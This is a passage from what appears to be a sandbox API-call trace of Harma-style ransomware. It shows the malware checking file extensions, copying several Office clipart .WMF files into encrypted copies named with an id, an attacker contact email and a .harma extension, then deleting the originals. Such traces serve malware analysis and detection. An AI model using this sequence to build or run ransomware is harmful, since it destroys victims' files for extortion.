lpString2="_.WMF") returned -1 [0159.554] lstrlenW (lpString=".ppt") returned 4 [0159.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.554] lstrlenW (lpString=".zip") returned 4 [0159.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.554] lstrlenW (lpString=".rar") returned 4 [0159.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.554] lstrlenW (lpString=".bz2") returned 4 [0159.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString=".7z") returned 3 [0159.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString=".dbf") returned 4 [0159.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString=".1cd") returned 4 [0159.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString=".jpg") returned 4 [0159.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString=".doc") returned 4 [0159.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString=".docx") returned 5 [0159.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.555] lstrlenW (lpString=".pdf") returned 4 [0159.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString=".xls") returned 4 [0159.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.555] lstrlenW (lpString=".xlsx") returned 5 [0159.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.555] lstrlenW (lpString=".ppt") returned 4 [0159.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.555] lstrlenW (lpString=".zip") returned 4 [0159.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.555] lstrlenW (lpString=".rar") returned 4 [0159.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString=".bz2") returned 4 [0159.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString=".7z") returned 3 [0159.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.556] lstrlenW (lpString=".dbf") returned 4 [0159.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.556] lstrlenW (lpString=".1cd") returned 4 [0159.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.556] lstrlenW (lpString=".jpg") returned 4 [0159.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.556] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.556] lstrlenW (lpString="IN00956_.WMF") returned 12 [0159.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.557] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1256) returned 1 [0159.557] CloseHandle (hObject=0x350) returned 1 [0159.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0159.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.558] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.558] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.558] GetLastError () returned 0x0 [0159.558] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4e8, lpOverlapped=0x0) returned 1 [0159.572] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0159.573] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.573] SetEndOfFile (hFile=0x348) returned 1 [0159.574] CloseHandle (hObject=0x348) returned 1 [0159.574] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.574] SetEndOfFile (hFile=0x350) returned 1 [0159.576] CloseHandle (hObject=0x350) returned 1 [0159.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.577] lstrlenW (lpString=".doc") returned 4 [0159.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString=".docx") returned 5 [0159.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.577] lstrlenW (lpString=".pdf") returned 4 [0159.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString=".xls") returned 4 [0159.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.577] lstrlenW (lpString=".xlsx") returned 5 [0159.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.577] lstrlenW (lpString=".ppt") returned 4 [0159.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.577] lstrlenW (lpString=".zip") returned 4 [0159.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.577] lstrlenW (lpString=".rar") returned 4 [0159.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString=".bz2") returned 4 [0159.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString=".7z") returned 3 [0159.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.577] lstrlenW (lpString=".dbf") returned 4 [0159.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.577] lstrlenW (lpString=".1cd") returned 4 [0159.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString=".jpg") returned 4 [0159.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString=".doc") returned 4 [0159.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString=".docx") returned 5 [0159.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.578] lstrlenW (lpString=".pdf") returned 4 [0159.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString=".xls") returned 4 [0159.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.578] lstrlenW (lpString=".xlsx") returned 5 [0159.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.578] lstrlenW (lpString=".ppt") returned 4 [0159.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString=".zip") returned 4 [0159.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.578] lstrlenW (lpString=".rar") returned 4 [0159.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString=".bz2") returned 4 [0159.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString=".7z") returned 3 [0159.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString=".dbf") returned 4 [0159.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.578] lstrlenW (lpString=".1cd") returned 4 [0159.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0159.579] lstrlenW (lpString=".jpg") returned 4 [0159.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.579] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.579] lstrlenW (lpString="IN00957_.WMF") returned 12 [0159.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.579] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2944) returned 1 [0159.579] CloseHandle (hObject=0x350) returned 1 [0159.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0159.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.580] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.580] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.581] GetLastError () returned 0x0 [0159.581] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xb80, lpOverlapped=0x0) returned 1 [0159.761] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xb90, lpOverlapped=0x0) returned 1 [0159.766] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.766] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.766] SetEndOfFile (hFile=0x348) returned 1 [0159.767] CloseHandle (hObject=0x348) returned 1 [0159.767] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.767] SetEndOfFile (hFile=0x350) returned 1 [0159.769] CloseHandle (hObject=0x350) returned 1 [0159.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.883] lstrlenW (lpString=".doc") returned 4 [0159.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".docx") returned 5 [0159.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.884] lstrlenW (lpString=".pdf") returned 4 [0159.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".xls") returned 4 [0159.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".xlsx") returned 5 [0159.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.884] lstrlenW (lpString=".ppt") returned 4 [0159.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.884] lstrlenW (lpString=".zip") returned 4 [0159.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".rar") returned 4 [0159.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".bz2") returned 4 [0159.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".7z") returned 3 [0159.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.884] lstrlenW (lpString=".dbf") returned 4 [0159.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.884] lstrlenW (lpString=".1cd") returned 4 [0159.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.884] lstrlenW (lpString=".jpg") returned 4 [0159.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.885] lstrlenW (lpString=".doc") returned 4 [0159.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString=".docx") returned 5 [0159.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.885] lstrlenW (lpString=".pdf") returned 4 [0159.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString=".xls") returned 4 [0159.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.885] lstrlenW (lpString=".xlsx") returned 5 [0159.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.885] lstrlenW (lpString=".ppt") returned 4 [0159.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.885] lstrlenW (lpString=".zip") returned 4 [0159.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.885] lstrlenW (lpString=".rar") returned 4 [0159.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString=".bz2") returned 4 [0159.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString=".7z") returned 3 [0159.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.885] lstrlenW (lpString=".dbf") returned 4 [0159.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.885] lstrlenW (lpString=".1cd") returned 4 [0159.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0159.885] lstrlenW (lpString=".jpg") returned 4 [0159.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.886] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.886] lstrlenW (lpString="J0086428.WMF") returned 12 [0159.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.925] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=35346) returned 1 [0159.925] CloseHandle (hObject=0x348) returned 1 [0159.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0159.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.934] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.934] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.935] GetLastError () returned 0x0 [0159.935] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x8a12, lpOverlapped=0x0) returned 1 [0159.937] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0159.939] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.939] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.939] SetEndOfFile (hFile=0x34c) returned 1 [0159.939] CloseHandle (hObject=0x34c) returned 1 [0159.939] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.939] SetEndOfFile (hFile=0x348) returned 1 [0159.941] CloseHandle (hObject=0x348) returned 1 [0159.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0159.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.945] lstrlenW (lpString=".doc") returned 4 [0159.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.945] lstrlenW (lpString=".docx") returned 5 [0159.945] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.945] lstrlenW (lpString=".pdf") returned 4 [0159.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.945] lstrlenW (lpString=".xls") returned 4 [0159.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.945] lstrlenW (lpString=".xlsx") returned 5 [0159.945] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.945] lstrlenW (lpString=".ppt") returned 4 [0159.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.945] lstrlenW (lpString=".zip") returned 4 [0159.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.945] lstrlenW (lpString=".rar") returned 4 [0159.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.945] lstrlenW (lpString=".bz2") returned 4 [0159.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.945] lstrlenW (lpString=".7z") returned 3 [0159.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0159.946] lstrlenW 